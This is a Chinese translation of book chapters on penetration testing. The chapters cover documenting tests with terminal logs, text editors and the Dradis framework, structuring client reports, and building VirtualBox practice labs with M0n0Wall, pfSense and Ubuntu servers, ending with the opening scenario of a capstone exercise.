幸运的是,社区中有可用的工具,可以减少记录每个渗透测试步骤、命令和结果的整体痛苦。正确使用这些工具,文档记录将变得自然而然。

本章介绍了可以使测试进展记录变得不那么痛苦,报告撰写变得更容易的工具和技术的使用:

  • 简单的文本编辑器

  • 重新审视 Dradis — 合作的时候到了

  • 报告概述

在开始有趣的事情之前,我们需要复习基础知识。这些方法经过验证,很少出错。除了效率之外,这些方法都是有效的。

立即记录 — 以后整理

本书讨论的几乎所有内容都可以通过 BackTrack 命令行实现。现在,只需记录每个输入和输出会不会很好?显然,这不会是渗透测试记录保存的巅峰,但拥有这样的日志最终可能会为您节省麻烦。

# script pentest.log 

Linux 脚本命令将记录测试过程中使用的大部分命令。

老派 — 文本编辑器方法

就像网站创建爱好者一样,有一群人只使用纯文本编辑器作为数据存储库和报告生成工具。不过,不要让这种工具表面上缺乏功能的外表愚弄您。在今年的 DerbyCon 上,我有幸与一位个人交谈,他提到他已经用 vi 自动化了数据收集的每一步。通过使用自动化和脚本,来自各种工具的输出可以被处理、转换并收集到 vi 文本文件中。然后,通过宏和脚本,他能够生成完整的报告。这个初始设置可能很复杂,但最终产品的简单优雅令人印象深刻。

流行的 Linux 文本编辑器包括vim,需要一些练习,以及 Nano,它提供了一种方便的编辑和收集简单文件数据的方法。

Nano

Nano 已经在本书中用于各种文本编辑需求。它快速简单,非常适合快速记录笔记或快速编辑文档。

注意

不要被 Nano 的表面简单所迷惑(Nano 是另一个文本编辑器)。Nano 执行强大的用户功能,如测试调整,语法高亮,强大的文本搜索等。

要从 BackTrack 启动 Nano,请键入nano,然后输入需要编辑或创建的文件名。Nano 将在当前工作目录中创建文件。

# nano test.txt 

Nano

通过命令行选项或编辑/etc/nanorc配置文件,可以对 Nano 进行非常自定义化。使用nanorc可以设置的一些选项包括以下内容,等等:

  • 区分大小写的搜索

  • 文本文件转换选项 — 您想转换 Dos 或 Mac 文本文件吗?

  • 编辑器是否应该换行您的文本?

  • 自动缩进选项

如果决定在测试过程中利用 Nano,请务必查看设置,并找到最适合您的工作流程和偏好的配置。

有关 Nano 的更多信息,请访问:tuxradar.com/content/text-editing-nano-made-easy

VIM — 强大用户的文本编辑器选择

VIM 是 vi 的改进版本,可作为慈善软件使用。

注意

如果您发现想要使用 VIM,建议您向 ICCF 捐赠。当通过vim命令启动编辑器时,将显示此信息。

VIM-首选的高级文本编辑器

有一些基本命令是任何使用 VIM 的人都应该熟悉的。为了帮助那些完全不熟悉 VIM 的人,该工具提供了一个教程,可以通过在命令行输入vimtutor来访问。

# vimtutor 

VIM-首选的高级文本编辑器

使用 VIM 收集测试数据的一些好处包括:

  • 预装在许多 Linux 发行版中。

  • 资源占用非常小,这在系统运行密集进程时非常有益。

  • 使用diff函数比较多个文件。在您三个月前执行测试并希望快速查找差异的时候非常完美。也可用于确保网站代码在测试之间未被修改。例如,比较test1.txttest2.txt

# vim test1.txt test2.txt 

VIM-首选的高级文本编辑器

  • 可以使用二进制模式查看甚至编辑二进制文件。

  • 可以以只读模式打开文件,以避免意外更改文件。

  • 通过使用-X开关进行即时文件加密。如果使用最新版本的 VIM(7.3+),可以将加密设置为使用 Blowfish 作为加密类型。要加密名为test.txt的文件,请开始一个文件:

# vim -x test.txt 

您将被提示输入加密密钥。将来解密文件时将需要此密钥。

Enter Encryption Key: ThisIsATest
Enter Same Key again: ThisIsATest

输入一些测试内容到文件中:

VIM-首选的高级文本编辑器

当保存并重新打开而没有正确的加密密钥时,文件中的信息是无法解读的。

# Vim -x test.txt 

VIM-首选的高级文本编辑器

对测试期间收集的数据进行加密既有益又受到鼓励;但是,重要的是要注意,VIM 使用的对称加密类型并不适合共享文件。在这种情况下,可能更适合专注于非对称加密方法的单独解决方案。

NoteCase

如果您更喜欢使用图形编辑器来收集和管理测试信息,那么有许多可用选项。其中一个工具是 NoteCase,可以用于在使用 BackTrack 时收集项目或测试数据。可以通过apt-get install notecase在 BackTrack 客户机中安装它。以下是 NoteCase 如何用于收集有关正在测试的站点的信息的示例:

NoteCase

Notecase 允许选择文件 | 另存为并选择适当的下拉选择,以加密格式保存文件:

NoteCase

Dradis 协作框架

在进行渗透测试期间进行协作和数据共享时,很难超越 Dradis 提供的好处和选项。这是我们在第一章中讨论的两种主要数据收集工具之一,规划和范围确定成功的渗透测试,通常是数据收集的首选工具。与往常一样,我们需要在开始之前有一些可用的数据。在本例中,我们假设一家小企业要求我们对其仍处于开发阶段且尚未在互联网上提供的 Web 服务器进行渗透测试。根据约定,我们不允许访问除了这一个特定服务器之外的任何内容,该服务器可以在192.168.75.0/24子网上本地访问。我们被允许访问192.168.75.0/24网络的 VPN,并且可以同时进行两个连接。测试的时间有限,因此我们打算使用两个人来进行测试。

为了跟随本示例,您需要以下虚拟环境处于运行状态:

  • 192.168.75.0/24子网(VLAN1)上的两台 BackTrack 客户机。

  • pfSense 配置为通过 DHCP 为192.168.75.0/24子网(VLAN1)分配地址。

  • Kioptrix Level 1 设置为连接到 VLAN1。

这个设置应该让您能够有效地跟随本章的其余部分。报告是一个非常灵活的领域,因此需要一些时间来找到您想要用于测试的“正确”模板和格式。

绑定到 127.0.0.1 以外的可用接口

需要对启动 Dradis 进行轻微修改,同时绑定到不同的端口。

# cd /pentest/misc/Dradis
# nano start.sh

更改第 15 行以匹配以下内容:

bundle exec rails server webrick $*

保存文件,并使用-h功能调用start.sh命令以显示可用选项:

# ./start.sh -h 

绑定到 127.0.0.1 以外的可用接口

此时,我们可以通过输入以下内容绑定到192.168.75.11的 3004 端口(使用托管 Dradis 服务器的 BackTrack 机器的 IP 地址):

# ./start.sh -b 192.168.75.11 -p 3004 
=> Booting WEBrick
=> Rails 3.0.6 application starting in production on http://192.168.75.11:3004
=> Call with -d to detach
=> Ctrl-C to shutdown server

通过启动浏览器并在本地主机和其他 BackTrack 机器上键入https://192.168.75.11:3004来测试您的配置。请注意,在下面的屏幕截图中,我们能够确定192.168.75.11上的 Dradis 服务器可以被两台机器访问。

绑定到 127.0.0.1 以外的可用接口

任一系统所做的更改都将更新,以便两个用户都能看到。当进行更改时,其他已登录用户会收到通知:

绑定到 127.0.0.1 以外的可用接口

当出现此提示时,只需单击节点列顶部的刷新树图标旁边的添加分支:

绑定到 127.0.0.1 以外的可用接口

有效地使用 Dradis 等工具将使您的团队在执行测试时更加高效和彻底。

报告

在渗透测试结束时,所有数据都需要转化为信息,以便业务和网络所有者采取行动。尽管渗透测试的目标可能各不相同,但将整个过程记录下来并将结果放入易于理解的格式中的需求是一样的。执行报告中应包括以下一些内容:

  • 封面

  • 您公司的标志

  • 测试执行的标题和描述

  • 保密提醒

  • 测试日期和时间

封面应该既专业又吸引人眼球。如果您的标志有任何可用的图形,这是展示它们的理想地方。看看这个样本,了解典型报告封面的基本概念:

报告

接下来的页面应提供报告中包含的材料的索引。添加索引可以让读者快速跳转到感兴趣的位置。当人们参加会议或需要快速了解报告内容时,这一点尤为重要:

报告

接下来的页面应该是执行摘要,可用于快速查看发现。执行摘要可能会根据目标受众而有所不同。在我们的示例中,我们假设我们不知道报告将被呈现给谁,因此尝试涵盖所有方面——技术和非技术管理人员。

报告的这部分应该为未参与初始测试过程的人提供足够的信息,以了解测试内容和测试目标。它还应该快速概述发现的内容,以及是否发现了需要立即注意的特定内容。

看看以下示例:

报告

正如讨论的那样,我们设法在一页内涵盖了几个主要领域。信息应该简洁明了,尽量避免技术术语,因为报告最终可能会提供给管理团队的非技术成员。

提示

必须有人付钱来修复你发现的所有漏洞,但如果他们不理解你的报告,他们不太可能这样做。

在不到一页的篇幅中应该包括的主要部分包括标题和简要描述、范围或介绍以及测试发生的时间表。许多人不明白,进行渗透测试的人和团队的其他部分一样,也受到资源的限制。如果破解一个密码需要两天,但你只有一天来进行测试,这并不一定意味着密码是安全的,只是你没有足够的时间来正确执行你的测试。

在执行摘要中,发现部分非常重要。大多数管理团队可能永远不会阅读所有必须采取的步骤,他们只想知道这些漏洞是什么,每种类型的优先级是什么,这样他们就可以开始制定补救策略和计划。

看看我们报告的下一页:

报告

我们不仅清晰地定义和总结了发现,还提供了一个漂亮的图表来帮助可视化发现。通过为客户分解漏洞,你让他们的生活更轻松,也许可以避免将来再次访问,只是为了再次讨论你的发现。

从你的角度提供一个清晰定义的网络图很重要。这使客户能够理解所有适当的系统都经过了测试,并且在某些情况下暴露了客户甚至没有意识到的问题,比如网络上不一定属于的系统。理想情况下,你会有一个列出网络上所有可用服务的列表。在下面的示例中,我们只列出了端口和描述,因为我们知道只涉及一个系统。另一种方法是列出所有服务,如下所示:

端口 描述 系统
80 HTTP 192.168.75.1, 192.168.75.2, 192.168.75.15

如果系统上存在不应该存在的服务,这样的列表就可以变得可操作。例如:一个开发服务器仍在运行一个据说几年前就关闭的 Web 服务器。

看看下面的示例页面,其中包括基本的网络图和一个虚构的端口列表,这些端口在192.168.75.15上是开放的。

报告

最后,是时候提供一些详细的报告了。这是你详细列出发现并提供有关如何发现这些问题的信息的机会。通常在详细报告部分可以放置的数据量是没有限制的。一定要提供足够的信息,以便管理员可以尝试模拟测试的特定部分,以确保已经实施的缓解控制是否真正起作用。

在文档的某个地方,应该讨论使用的方法论,无论是标准方法论的子集,还是你自己想出的东西——理解你所做的事情很重要。这就是有备忘录非常方便的地方。

这是这一部分可能看起来像的一个小例子:

报告

如果你仔细看,你会注意到有一个补救部分。所有需要补救问题的信息已经在报告中,但有时将与特定漏洞相关的脆弱系统列出来是很有用的。这样可以让企业以逻辑方式快速简单地解决漏洞。例如,管理员可以负责更新网络上的所有 SAMBA 版本,并且在报告的补救部分,他们可以直接开始处理列表上的工作。

任何与提供可操作数据无直接关系的附加信息都应该添加到附录中。这包括任何大型数据转储,如目录列表、URL、安装的软件和版本等。

读者的挑战

使用之前提供的实验室设置,对 Kioptrix Level 1 机器进行完全记录的测试!

在完成报告后,退一步,想象自己是一个收到这份报告的企业所有者。你的工作是否允许补救发现的任何问题?你是否提供了足够的交叉参考材料,以便文件在初始咨询完成后能够自行立足?

再次查看第一章,“规划和范围确定成功的渗透测试”,看看是否可以设置一个 HTML 模板,使你能够轻松地将详细数据导入最终报告。一旦像这样的东西被自动化,它就有潜力节省大量时间!

总结

在本章中,我们研究了在进行测试时安全地收集数据的几种方法,如 VIM、Nano 和 NoteCase。我们还在现有的 Dradis 知识基础上进行了扩展,配置它以供多个测试人员同时使用。

我们审查了应该包括在任何渗透测试报告中的几个关键项目。有时,你的公司所接收到的唯一可见性将基于这份报告。报告越好,你下次被要求进行渗透测试的可能性就越大。

最后,我们向读者提出了一个小挑战,要求完成并记录对本章中所审查的配置进行评估。

在下一章中,当我们继续建立一个模拟安全的虚构公司的测试实验室时,我们将有机会将所有这些信息付诸实践。

第十章:设置虚拟测试实验室环境

保持技能更新在大多数行业中都非常重要;对于渗透测试也是如此。渗透测试技能需要时间来发展,而且信息安全领域每天都在变化。考虑到这一点,在当今这个时代,获得一台配备 4-16GB RAM 和四核或六核处理器的半强大计算机系统并不困难。这样的设备可以让渗透测试人员构建出完整的虚拟网络,用作实践实验室。在本章中,我们将审查构建这样的环境。我们将尝试使用有限的系统资源来模拟我们可能在使用中看到的受保护网络类型。

我们将在本章讨论以下内容:

  • 模拟带有防火墙的简单网络

  • 设置多层 DMZ

  • 在虚拟环境中模拟更复杂的网络

为什么要设置实验室?

看起来,在更全面的测试环境中进行实验将始终是最佳选择,但实际上,您可能只会增加不必要的复杂性,这可能会转移或完全破坏测试。

让我们来看看如何设置一个运行简单 Web 应用程序的 Web 服务器。在选择实验室环境之前,我们需要确定我们要测试什么。应该问的一些问题包括:

  • 有没有特定的服务是必需的,以确保测试准确地模拟真实世界测试中所见的环境?

  • 负载均衡?

  • 特定版本的软件?

  • 防火墙?

  • 有没有因素会导致结果不准确地代表真实生产环境中发生的情况?

  • 您的实验室是否为您提供了在真实世界中复制您的发现所需的实践经验;如果没有,需要做出哪些改变?

希望这个基本问题的快速列表能为您准备好在选择哪种类型的实验室更可取以及为哪项任务考虑时应考虑的因素。有许多情景可以通过简单的虚拟客户机进行测试;另一方面,有些情景将需要使用数十甚至数百台系统来准确代表您在真实环境中的体验。无论您选择如何构建您的实验室,它都应该始终允许您进行修改或构建现有系统。它还应该简单易管理,并根据需要进行更新。

注意

对新构建的系统进行快照可能是确保必要的操作系统构建在需要时准备就绪的一种有效和高效的方法。

保持简单

有时可以建立一个满足测试要求的简单实验室。在学习环境中,保持简单通常会减少学习曲线,并使相关材料能够快速吸收,而不是被琐碎的事实或不相关的配置设置所淹没。在本书中,每个部分都试图使用最少的系统设置来审查手头的任务。在构建实验室时,不应轻率选择这种选项。

直截了当的测试示例

许多新的漏洞和漏洞的例子可以通过简单的配置进行测试,例如:

直截了当的测试示例

这个网络就是最简单的(除了直接从目标机器本身进行测试,这对于许多情况来说肯定是有用的)。

我们有一台 BackTrack 机器连接到与易受攻击目标机器相同的 LAN 段。没有内联防火墙或其他任何东西会妨碍验证利用代码是否按预期工作。如果在测试某些方法或技术时遇到问题,这将是一个很好的健全检查。

我们不会介绍设置这种类型的环境,因为它已经在整本书中多次涵盖过。

网络分割和防火墙

内联防火墙和适当的网络分割使得以下基本网络基础设施与网关或防火墙分隔测试机器与易受攻击目标成为常见现象。这种分层防御只是保护典型环境的一小步:

网络分割和防火墙

从外部世界来看,系统将拥有一个公共可访问的 IP 地址,然后在后端它将拥有一个真实的 IP 地址(可能使用 NAT 不可路由的地址)。来回传输的任何流量都将通过网关或防火墙进行处理。让我们看看如何模拟这样的环境:

要求

要跟随此示例构建,您将需要以下内容:

  • Oracle 的 Virtualbox 最新版本

  • 2 GB RAM

  • M0n0Wall 虚拟客户机

  • BackTrack 虚拟客户机

  • Ubuntu Server 10.04 稳定版与 LAMP(连接到 MyLab2)

这就是开始所需的一切!

设置

我们将从设置M0n0Wall防火墙安装开始。如果您在之前的章节中使用过 pfSense,您会注意到设置非常相似。在这种情况下,我们的 M0n0Wall 实例将有三个适配器:WAN、LAN、OPT1。首先在m0n0.ch/wall/downloads.php下载 M0n0Wall。我们将使用cdrom-1.33.iso版本,尽管任何未来的版本在设置上应该非常相似。由于所需资源有限,M0n0Wall 是一个成熟的小型防火墙,非常适合我们的需求。

在 VirtualBox 中使用以下设置来设置新的客户机:

  • 名称:M0n0Wall_Base_Install

  • 操作系统类型:BSD/FreeBSD

  • 内存:128 MB

  • 虚拟硬盘:启动盘已选中,创建新硬盘已选择

  • 创建新虚拟磁盘:VDI

  • 虚拟磁盘存储详细信息:动态分配

  • 虚拟磁盘文件位置和大小:(放在用于未来实验的文件夹中),大小为 200 MB

这台机器将需要使用 VirtualBox Manager 配置三个网络适配器。

  • 网络适配器 1应配置为使用NAT,这将是我们的 WAN 连接

  • 网络适配器 2需要配置为内部网络名称MyLab1,它将代表我们的 LAN 连接并

  • 网络适配器 3应设置为内部网络名称MyLab2,并将与我们的内部网络(OPT 设备)绑定

提示

使用PCnet-PCI II适配器将减少可能出现问题的机会。此外,建议更改每个适配器的 MAC 地址,以便更容易确定在服务器设置中选择的适配器。例如,如果网络适配器 1 的当前 MAC 地址为 0800270DD321,则将其更改为 0800270DD31A 将提供一个易于记忆的视觉提示:1A 是适配器 1,2B 可以是适配器 2,依此类推。

M0n0Wall将需要安装在新的 VirtualBox 机器上。

  1. 启动M0n0Wall_Base_Install并选择从m0n0.ch/wall/downloads.php下载的安装介质。

  2. 选择7)在硬盘上安装选项:设置

  3. 当被问及要安装在哪个硬盘时,请选择您的硬盘(在本例中是ad0)设置

  4. 在提示时重新启动,并确保系统从硬盘安装而不是 ISO 启动。

现在 M0n0Wall 已经安装好了,我们必须配置接口:

  1. 选择1)接口:分配网络端口并按Enter

  2. 当提示可用接口列表时,继续设置您的 VLAN。按y继续。

  3. 输入第一个适配器的父接口名称。这将显示在您的显示器上的 MAC 地址旁边:设置

  4. 继续为每个适配器创建过程。在这种情况下,我们的lnc0适配器分配给 VLAN 1,lnc1分配给 2,lnc2分配给 VLAN 3。这些 VLAN 可以是 1 到 4094 之间的任何未使用的数字。

  5. 确定 LAN 接口名称时,请选择分配给 MyLab1 的适配器,WAN 适配器应分配给 NAT 适配器,而 MyLab2 适配器应分配为 OPT 设备:设置

  6. 重新启动防火墙以保存您的更改。

防火墙已安装在我们的硬盘上,并且适配器已分配给 VLAN。现在我们需要设置 LAN IP 地址并连接到 Web 界面进行进一步配置。作为可选步骤,可以更改默认密码。为了简单起见,我们将在本练习的其余部分继续使用默认密码。

  1. 选择选项2)设置 LAN IP 地址并按Enter继续。

  2. 在提示时输入您想要您的 LAN 使用的 IP 地址。我们将选择192.168.50.1设置

现在我们可以在 MyLab1 内部网络上启动 BackTrack 实例,并通过首先在适当范围内获取新的 DHCP 地址,然后将我们的 Web 浏览器定向到http://192.168.50.1:来连接防火墙的 Web 界面。

设置

我们需要设置其他接口以执行我们心中的任务,即为192.168.75.0/24子网提供到我们的易受攻击主机的防火墙路由,该主机位于192.168.75.100(将 Ubuntu 机器连接到 MyLab2)。从屏幕左侧的导航菜单中选择OPT1 接口,通过选中适当的复选框启用它。将桥接到选项保留为无,并为此接口输入 IP 地址:192.168.75.1。确保下拉列表中选择24。在进行适用更改后,单击保存按钮。

设置

我们可以在 OPT1 接口上启用 DHCP 服务器。在左侧导航菜单上选择DHCP 服务器,然后在服务:DHCP 服务器下选择OPT1选项卡。选中启用此端口上的 DHCP 服务的复选框,并将范围输入为192.168.75.100192.168.75.150。选择完您的更改后,单击保存按钮继续。

设置

目前还没有为 OPT1 接口设置默认规则。让我们设置一些基本规则,以允许我们在192.168.50.0/24中的系统对192.168.75.0/24中的系统进行 ping。

单击左侧导航栏中的防火墙规则选项,然后选择 OPT1 选项卡。选择看起来像一个加号(+)符号在一个圆圈内的图标,将带您到允许配置新规则的屏幕。单击此图标继续。

在这个初始规则中,我们希望允许来自任何地方的 ICMP 数据包到达 OPT1 接口。需要选择以下设置:

  • 操作:通过

  • 接口:OPT1

  • 协议:ICMP

  • ICMP类型:任何

  • 所有其他:默认设置

保存您的设置,并单击应用按钮以加载更改。

现在我们可以从我们的BackTrack 机器到我们的目标机器(在本例中是一个设置为接收 DHCP 地址的 Ubuntu 服务器安装)进行 traceroute。

设置

使用 M0n0Wall 允许我们在非常有限的空间内使用许多强大的选项。当您想要在虚拟实验室环境中放置几个防火墙时,这一点就变得非常重要。

增加复杂性或模拟目标环境

有时模仿客户的网络以进行真实测试之前的离线测试可能会有益。这种做法有时可以让您在进行一些简单的枚举后确定最小阻力路径。

让我们看一下以下网络示例:

增加复杂性或模拟目标环境

查看图表后,我们可以确定至少有四个已知子网、两个防火墙和六台执行各种任务的机器。还有一个位于192.168.25.0/24192.168.50.0/24之间以及 DMZ'd Web1 服务器的 Web 应用防火墙和入侵检测系统。不需要太多讨论就能理解我们正在处理的是什么类型的企业,并让我们假设这个客户自豪地使用开源社区驱动的最新和最优秀的软件。理想情况下,我们将尽量模拟客户环境,以确定是否存在任何安全控制没有正确定位或已知经常配置错误的情况。考虑到这一点,我们将尝试使用以下配置进行模拟:

  • 1 个 M0n0Wall 防火墙

  • 1 个安装和配置了 IDS 和 WAF 模块的 pfSense 防火墙

  • 5 台 Ubuntu 服务器系统

  • 1 台运行 MySQL 的 FreeBSD 系统(例如,虚构的业务所有者透露他希望开始使用 FreeBSD 作为所有服务器的操作系统,因为他们在 FreeBSD 服务器上的良好经验)

这总共是八台虚拟服务器,如果我们在实验室中进行直接系统构建,就需要模拟。再次查看图表后,我们确定如果合并一些服务器,可以使资源更加友好。默认情况下,我们的每个虚拟单元最多可以有四个网络适配器。

注意

本节中有关如何进一步配置每台机器的详细说明。在到达每台机器的部分之前,不要构建这些系统。以下清单将用作所需概述。

考虑到这一点,我们将按以下方式配置我们的虚拟实验室:

  • Firewall1

  • pfSense

  • 256 MB RAM

  • 1 GB HDD

  • IDS

  • WAF

  • DHCP 服务

  • 适配器 1:192.168.25.0/24 内部网络名称:MyLab1

  • 适配器 2:192.168.50.0/24 内部网络名称:MyLab2

  • 适配器 3:192.168.75.0/24 内部网络名称:MyLab3

  • Firewall2

  • M0n0Wall

  • 128 MB RAM

  • 200 MB HDD

  • DHCP 服务

  • 适配器 1:192.168.75.0/24 内部网络名称:MyLab3

  • 适配器 2:192.168.101.0/24 内部网络名称:MyLab4

  • Web1

  • Ubuntu 服务器

  • 512 MB RAM

  • 1 GB HDD

  • LAMP

  • 适配器 1:192.168.25.0/24 内部网络名称:MyLab1

  • WordPress 3.1

  • DB1

  • FreeBSD 8.2

  • MySQL

  • 256 MB RAM

  • 6 GB HDD(如果资源有限,可以减少)

  • 适配器 1:192.168.50.0/24 内部网络名称:MyLab2

  • 适配器 2:192.168.75.0/24 内部网络名称:MyLab3

  • App1

  • Ubuntu 服务器

  • 256 MB RAM

  • 1 GB HDD

  • LAMP

  • 适配器 1:192.168.75.0/24 内部网络名称:MyLab3

  • 适配器 2:192.168.101.0/24 内部网络名称:MyLab4

  • WordPress 3.1

  • Admin1

  • Ubuntu 服务器

  • 256 MB RAM

  • 1 GB HDD

  • LAMP

  • 适配器 2:192.168.101.0/24 内部网络名称:MyLab4

  • 安装了各种管理工具(Wireshark、Nmap 等)

这使我们总共需要 1664 MB 的 RAM 和超过 10 GB 的 HDD。大多数现代系统能够处理这种类型的虚拟网络,但如果您的系统无法处理,请根据需要有策略地减少 RAM 或 HDD 的数量。

注意

请注意,这不包括为您的 BackTrack 机器或主机机器保留的任何 RAM 或 HDD 空间。如果您有 16 GB 的 RAM,请不要将所有 RAM 分配给虚拟机,否则可能会遇到一些问题!

配置防火墙 1

下载并安装一个 pfSense 虚拟机,使用上述确定的设置:

  • Firewall1

  • pfSense 2.0

  • 256 MB RAM

  • 300 MB HDD

  • IDS

  • WAF

  • DHCP 服务

  • 适配器 1:192.168.25.0/24 内部网络名称:MyLab1

  • 适配器 2:192.168.50.0/24 内部网络名称:MyLab2

  • 适配器 3:192.168.75.0/24 内部网络名称:MyLab3

请确保使用与 FreeBSD 兼容的适配器类型,以避免任何问题。我们不会再次审查设置 pfSense 基本适配器配置,因为在之前的章节中已经详细介绍过。一旦基本配置完成,您应该得到类似以下的结果:

配置防火墙 1

一旦 IP 地址配置完成,设置应该如下所示:

配置防火墙 1

使用 BackTrack 虚拟机连接到其中一个网络,并配置以下 pfSense Web 控制台设置:

  • DHCP 服务器:启用 X.X.X.100 X.X.X.150 范围内的所有接口。

  • 创建一个规则,允许从 192.168.25.0/24(WAN)到 192.168.50.0/24(LAN)的 ICMP、80、443、53、161、25、22、23 和 21 TCP/UDP。删除现有的 WAN 规则。

  • 创建一个规则,允许所有来自 192.168.50.0/24(LAN)到 192.168.75.0/24(OPT1)的流量。

  • 允许所有来自 LAN 到 WAN 接口的流量。

这是一个正在进行中的工作示例,用于设置 LAN 的防火墙 1 规则:

配置防火墙 1

在 pfSense 中安装额外软件包

防火墙 1 还列出了 IDS 和 WAF。我们可以使用 pfSense 提供给我们的软件包管理器在系统上安装这些额外的功能。

注意

pfSense 系统需要临时访问互联网才能访问和下载这些软件包。这可以通过 NAT 进行配置。在连接到互联网之前,请确保禁用任何其他测试机器。启用 WAN 接口上的互联网将使使用防火墙 1 的所有系统都能访问互联网!还要注意,在从内部网络切换到 NAT 之前,机器需要关闭。

  1. 点击系统 | 软件包,选择可用软件包选项卡。

  2. 选择带有 mod_security 的代理服务器并安装。在 pfSense 中安装额外软件包

  3. 选择Snort软件包并安装。在 pfSense 中安装额外软件包

提示

花一些时间熟悉一键安装软件包,这些软件包可与 pfSense 一起使用。使用这些软件安装的便利性和出色选择的可用性使得安装这些软件快速高效。

每个安装的软件包都将添加到服务菜单中,以供进一步配置。更新软件包并根据需要进行配置。由于我们不知道这个虚构练习中的客户如何配置 WAF 或 IDS,我们可以假设默认设置正在使用,直到我们执行初始枚举时,我们可以更接近地模拟被攻击的环境。

防火墙 2 的设置和配置

我们需要设置一个 M0n0wall 虚拟实例,如下所示:

  • 防火墙 2

  • M0n0Wall

  • 128 MB RAM

  • 200 MB 硬盘

  • DHCP 服务

  • 适配器 1:192.168.75.0/24 内部网络名称:MyLab3

  • 适配器 2:192.168.101.0/24 内部网络名称:MyLab4

由于我们已经在本章中讨论了如何设置 M0n0wall,我们将跳过到下一个机器类型。

Web1

从典型的软件仓库下载并安装 Ubuntu Server 10.04。虚拟机需要定义如下:

  • Web1

  • Ubuntu 服务器

  • 主机名:Web1

  • 512 MB RAM

  • 1 GB 硬盘

  • LAMP

  • OpenSSH

  • 适配器 1:192.168.25.0/24 内部网络名称:MyLab1

一旦机器安装、更新和配置完成,我们将需要安装 WordPress。

注意

Ubuntu 网站提供了出色的资源,帮助进行直观的安装。

在 Ubuntu 服务器中安装 WordPress 可能很简单;在codex.wordpress.org/Installing_WordPress#Famous_5-Minute_Install上有很好的说明。总结一下,您可以简单地wget包在wordpress.org/latest.tar.gz,解压缩然后将其移动到服务器上的/var/www目录。这将使您能够通过http://192.168.25.100/wordpress访问 WordPress 安装,如果您已经按照之前的说明进行操作。请记住,这个练习的目标是了解如何创建一个模拟,模拟常见配置中所发现的情况。在这种情况下,数据库是抽象的,并存储在 FreeBSD 机器上。这允许更精细地控制谁以及谁对网络上的特定数据有访问权限。这也使得攻击者更难以间接访问机器,并且通常足以防止对机器本身的直接攻击(攻击者将使用 SQL 注入和其他基于 Web 应用程序的缺陷来访问和控制系统,而不是直接针对它)。

DB1

DB1 是一个非常基本的 FreeBSD 8.2 安装,只运行 MySQL 服务器、Telnet 和 SSH 作为服务。在www.freebsd.org/where.html获取 ISO 并使用以下虚拟机设置安装机器。请注意,该机器是多宿主的,可由管理员在192.168.101.0/24段直接管理。在理想的情况下,您还应该将对该机器的直接访问限制为仅限管理员和 Web1 服务器的 MySQL 端口、Telnet 端口和 SSH 端口。

  • DB1

  • FreeBSD 8.2

  • MySQL

  • 256 MB RAM

  • 6 GB 硬盘(如果资源有限,可以减少)

  • 适配器 1:192.168.50.0/24 内部网络名称:MyLab2

  • 适配器 2:192.168.75.0/24 内部网络名称:MyLab3

系统设置和配置完成后,应将其用作 Web1 和 App1 实例的 MySQL 数据库服务器,使用WP_productionWP_Test数据库。

App1

这基本上是 Web1 服务器的克隆。在典型的环境中,这台机器可能会有最新和最好的可用更改,这也意味着它可能不像位于 DMZ 中的服务器那样安全。这是进一步入侵网络的绝佳目标,因为许多管理员不会使用强密码,或者这些系统上使用的证书可能不符合野外所见的标准。

  • App1

  • Ubuntu 服务器

  • 256 MB RAM

  • 1 GB 硬盘

  • LAMP

  • 适配器 1:192.168.75.0/24 内部网络名称:MyLab3

  • 适配器 2:192.168.101.0/24 内部网络名称:MyLab4

  • WordPress 3.1

只需使用 VirtualBox 的克隆机制创建此机器,重命名适当的项目,并确保重置适配器 MAC 地址。您还需要适当地分配 VirtualBox 中的网络适配器

Admin1

由于这台机器很可能包含许多工具和关键数据,因此您应该确保包括诸如 Nmap、WireShark 等管理员通常使用的一些强大工具。这台机器将用作管理员在网络上执行不同管理任务的管理工具和岛屿。玩得开心,并安装 Ubuntu 服务器和您感到舒适的任何服务或软件。理想情况下,在这一点上,您在真实测试期间进行的枚举工作将为您提供更多关于这个系统的信息,以便您可以更接近地模拟它。网络中的许多系统可能会有规则,允许从这个系统直接访问,而不管网络位置如何。

例如,构建一个符合以下规格的 Ubuntu 服务器:

  • 管理员用户

  • Ubuntu 服务器

  • 256 MB RAM

  • 1 GB 硬盘

  • LAMP

  • 适配器 1:192.168.101.0/24 内部网络名称:MyLab4

  • 安装了各种管理工具(Wireshark、Nmap 等)

到目前为止,您应该拥有一个功能齐全的多层环境,它在某种程度上模仿了在较小的商店中经常发现的环境。要测试真正安全的网络,您还必须添加额外的模块,并依靠严格监控的日志、文件完整性检查、基于网络的防病毒扫描(在 pfSense 上尝试!)等。无论有多少安全控件,它们都必须共同工作才能完全发挥作用。通过辛勤工作和开箱即用的思维,渗透测试人员将把这些环境推向极限,并确定客户是否得到了充分的保护(或者没有……)。

总结

在本章中,我们回顾了设置各种类型的虚拟实验室。几乎可以使用常见的可用工具和足够的资源来模拟几乎任何类型的虚拟环境。这对于使用开源软件的任何系统尤其如此,因为它是 readily available 并且不需要购买许可证(通常取决于软件是什么)。

我们还了解了 pfSense 的功能以及如何利用它更紧密地模拟在测试高度安全网络时会遇到的环境类型。使用这些技术可以轻松安装和配置 WAF、IDS、IPS,甚至反向代理。

我们还介绍了 M0n0wall 的安装和配置,这对于资源有限且需要小的占地面积时非常合适。一些渗透测试人员已经建立了跨越多台主机和数百个虚拟机的测试实验室。这对大多数人来说可能超出了必要性,但可以以低成本实现这一点的事实仍然存在。

在下一章中,我们将创建一个非常特殊的实验室,旨在模拟真实的渗透测试。您将需要使用本书中讨论的所有方法(可能还有更多,因为没有一本书可以涵盖渗透测试中涉及的所有内容!)来测试虚构公司的始终。

下一章见!

第十一章:接受挑战-把一切都放在一起

在整本书中,我们已经讨论了各种技术和方法,通过实践、持续的研究和勤奋,可以让你从头到尾执行渗透测试。本章让你把其中一些信息付诸实践,并加以理解。

我们将在本章讨论以下内容:

  • 设置实践环境

  • 使用渗透测试技术从一个系统移动到另一个系统

  • 一个虚构公司的例子从头到尾的渗透测试

情景

一个名为 NewAlts Research Labs 的虚构公司决定增加网络存在。由于他们的商业模式的性质,信息保密至关重要,任何敏感研究数据的泄露都会直接对他们的底线产生负面影响。他们的管理员已经建立了一个模拟环境,类似于他们最终想要转移到生产环境的环境。业主已要求管理员聘请外部顾问来审查环境,并告知可能存在的任何漏洞。

然后管理员委托你对模拟环境进行渗透测试,因为他已经确定他正在使用安全最佳实践,并在几个月前执行了初始的漏洞扫描,没有发现问题。他重申他正在使用提供良好支持的知名产品,并且以他的商店 100%开源为傲。

